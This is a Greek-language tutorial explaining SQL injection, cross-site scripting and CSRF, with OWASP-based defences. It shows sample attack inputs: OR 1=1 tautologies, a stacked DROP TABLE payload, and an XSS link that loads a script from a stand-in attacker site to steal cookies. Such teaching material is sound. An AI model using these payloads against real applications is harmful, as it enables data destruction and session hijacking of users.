SQL injection

Είναι μια τεχνική (hacking) για επίθεση σε εφαρμογές που διαχειρίζονται βάσεις δεδομένων (data-driven). Με την τεχνική αυτή εισάγεται (injection) από τον χρήστη (όπως μέσω μιας φόρμας) κακόβουλο σκριπτ με σκοπό την αλλοίωση του τελικού sql ερωτήματος.

Παράδειγμα

Έστω ο κώδικας (σε php):
```
$statement = "SELECT * FROM users WHERE password = $password";
```

Αν ο χρήστης εισάγει αντί του password:
```
'' OR 1 = 1
```

το τελικό ερώτημα διαμορφώνεται έτσι:
```
$statement = "SELECT * FROM users WHERE password = '' OR 1 = 1";
```

και επειδή η πρόταση WHERE είναι αληθής, το ερώτημα θα εκτελεστεί.

Παράδειγμα

Έστω ο κώδικας (σε php):
```
$statement = "SELECT * FROM userinfo WHERE id = $a_variable";
```

Αν ο χρήστης εισάγει:
```
1; DROP TABLE users
```

το τελικό ερώτημα διαμορφώνεται έτσι:
```
SELECT * FROM userinfo WHERE id = 1; DROP TABLE users;
```

και η πρόταση "DROP TABLE users" θα εκτελεστεί.

Παράδειγμα

έστω το URL: http://books.example.com/showReview.php?ID=5
με αντίστοιχο ερώτημα:
```
SELECT * FROM bookreviews WHERE ID = ID;
```

αν δώσουμε:
```
http://books.example.com/showReview.php?ID=5 OR 1=1
```

και
```
http://books.example.com/showReview.php?ID=5 AND 1=2
```

που αντιστοιχεί στα ερωτήματα:
```
SELECT * FROM bookreviews WHERE ID = '5' OR '1'='1';
SELECT * FROM bookreviews WHERE ID = '5' AND '1'='2';
```
Αν ο σέρβερ απαντήσει, θα σημαίνει ότι δεν κάνει έλεγχο στις τιμές και αυτό τον καθιστά ευάλωτο.

Αντιμετώπιση (https://www.owasp.org)

Πρωτεύουσα άμυνα

Χρήση Prepared Statements (Παραμετροποιημένα Ερωτήματα)

Η χρήση Prepared Statements είναι ένας ενδεδειγμένος τρόπος γραφής σωστών ερωτημάτων.

Χρήση Stored Procedures

Τα ερωτήματα αποθηκεύονται στη βάση δεδομένων και καλούνται από την εφαρμογή.

Η χρήση χαρακτήρων διαφυγής (escape characters)

Με την τεχνική αυτή οι χαρακτήρες γίνονται “escaped” πριν χρησιμοποιηθούν στο ερώτημα.
Ως καλή πρόταση θεωρείται και η μετατροπή σε δεκαεξαδικής μορφής κωδικοποίηση.

Δευτερεύουσα άμυνα

Δικαιώματα

Πρέπει να γίνεται πιο προσεκτικός έλεγχος για το ποιός έχει δικαιώματα και ποιά.

Λίστα

Γίνεται χρήση λίστας σύμφωνα με την οποία τα δεδομένα που εισάγει ο χρήστης πρέπει να περιέχονται σε μια συγκεκριμένη λίστα.

Cross-site scripting (XSS)

Είναι ένα κενό ασφάλειας που συναντάται περισσότερο σε εφαρμογές διαδικτύου.

Μέσω xss ο χάκερ μπορεί να εισάγει (inject) client-side σκριπτ (ουσιαστικά javascript) σε ιστοσελίδες.

Το κακόβουλο σκριπτ εκτελείται στο πρόγραμμα περιήγησης του χρήστη δίνοντας τη δυνατότητα στον χάκερ να έχει πρόσβαση σε ευαίσθητα δεδομένα.

Ο όρος, σταδιακά επεκτάθηκε και σε μη javascript κώδικα όπως ActiveX, java, VBScript, Flash ακόμα και σε html.

Τύποι xss

Μπορούμε να διακρίνουμε το xss σκρίπτ σε δύο τύπους.

Reflected (non-persistent)

Σε αυτή την περίπτωση το σκρίπτ μπορεί να εισαχθεί κρυφά μέσα σε ένα πεδίο φόρμας ή σε ένα URL.

Όταν ο χρήστης καλέσει το URL ή κάνει αποστολή της φόρμας ο σέρβερ θα επιστρέψει ένα αποτέλεσμα που θα περιέχει το αρχικά εισαγόμενο σκρίπτ το οποίο θα εκτελεστεί στη μεριά του χρήστη. Από 'δω και ο όρος reflected.

Κλασικό παράδειγμα οι φόρμες αναζήτησης όπου ο χρήστης εισάγει έναν όρο για αναζήτηση έστω «υπολογιστής», αν δίπλα προστεθεί και το σκριπτ:

```
<script src = "...">
```

τότε ο όρος γίνεται:

```
υπολογιστής<script src = "...">
```

Αν υποθέσουμε ότι ο σέρβερ στην πρώτη περίπτωση επιστρέφει:

```
Δεν βρέθηκε το προϊόν υπολογιστής
```

Στην δεύτερη περίπτωση (με το σκρίπτ να ακολουθεί) θα επιστρέφει:

```
Δεν βρέθηκε το προϊόν υπολογιστής<script src = "...">
```

Το σκρίπτ θα εκτελεστεί στη μεριά του χρήστη με ότι κακόβουλο περιέχει.

Αυτό μπορεί να είναι για παράδειγμα η κλοπή του cookie του χρήστη και η αποστολή του στον χάκερ. Στη συνέχεια ο χάκερ μπορεί να αντιγράψει το cookie στον δικό του browser και να συνδεθεί με το session του χρήστη στην εφαρμογή (π.χ. e-shop) που είναι ήδη συνδεδεμένος ο χρήστης.

Ένα άλλο παράδειγμα είναι όταν ο χρήστης λαμβάνει ένα email (δόλωμα) με ένα λινκ το οποίο μπορεί

να γράφει:

```
Απίθανες προσφορές στο offers-e-shop.gr
```

Αλλά στο href (που δεν βλέπει ο χρήστης) να γράφει:

```
href = “http://www.offers-e-shop.gr?q=offers<script
%20src='http://www.mybadsite.gr/badscript.js'>”
```

Όταν κάνει κλικ στο λινκ θα καλέσει το URL:

```
http://www.offers-e-shop?q=offers<script
%20src='http://www.mybadsite.gr/badscript.js'>
```

Ο σέρβερ θα του επιστρέψει και το σκριπτ το οποίο θα εκτελεστεί στη μεριά του χρήστη.

Persistent attack

Αυτός ο τύπος επίθεσης (xss) έχει το χαρακτηριστικό ότι τι κακόβουλο σκριπτ αποθηκεύεται στον σέρβερ και μένει εκεί μόνιμα (persistent).

Για παράδειγμα σε έναν ευάλωτο σε xss επιθέσεις ιστότοπο τύπου blog, ο χάκερ αφού κάνει εγγραφή, αναρτεί ένα κείμενο με ένα λινκ.

Το λινκ αυτό μπορεί να είναι ένα δόλωμα το οποίο καλεί ένα URL όπως αυτό που αναφέρθηκε παραπάνω:

Άμυνα

Από τα παραπάνω παραδείγματα γίνεται φανερό ότι ο σέρβερ δέχεται τα δεδομένα χωρίς να τα ελέγχει (server side validation).

encoding/escaping.

Άρα, ως πρώτη άμυνα μπορούμε να θεωρήσουμε τον καλό έλεγχο των δεδομένων με τεχνικές όπως encoding/escaping.

Cookie security

Επειδή μέσω xss αυτό που γίνεται συνήθως είναι η κλοπή του cookie, μπορούμε στο sessions να προσθέσουμε και το IP του χρήστη για περισσότερη ασφάλεια.

Disabling scripts

Η απενεργοποίηση του σκριπτ στο πρόγραμμα περιήγησης μπορεί να προστατέψει τον χρήστη αλλά θα του στερήσει λειτουργικότητα και ταχύτητα.

Content Security Policy (CSP)

Αναδυόμενη τεχνική σύμφωνα με την οποία ένας ιστότοπος θα δέχεται κώδικα προερχόμενο μόνο από τον συγκεκριμένο ιστότοπο.

Παρόμοιες απειλές

Μία παρόμοια απειλή με αυτή του xss είναι η (CSRF/XSRF)

Cross-site request forgery (CSRF/XSRF)

Εδώ ο χάκερ εισάγει σκριπτ στη μεριά του χρήστη, ο κώδικας εκτελείται με αιτήματα (requests) προς τον σέρβερ για τα οποία ο χρήστης δεν γνωρίζει.

Δηλαδή ο σέρβερ δέχεται αιτήματα από έναν πιστοποιημένο χρήστη και τα εκτελεί, δεν γνωρίζει όμως ούτε ο σέρβερ ούτε ο χρήστης ότι τα αιτήματα αυτά γίνονται από κρυφό σκριπτ για λογαριασμό του χάκερ.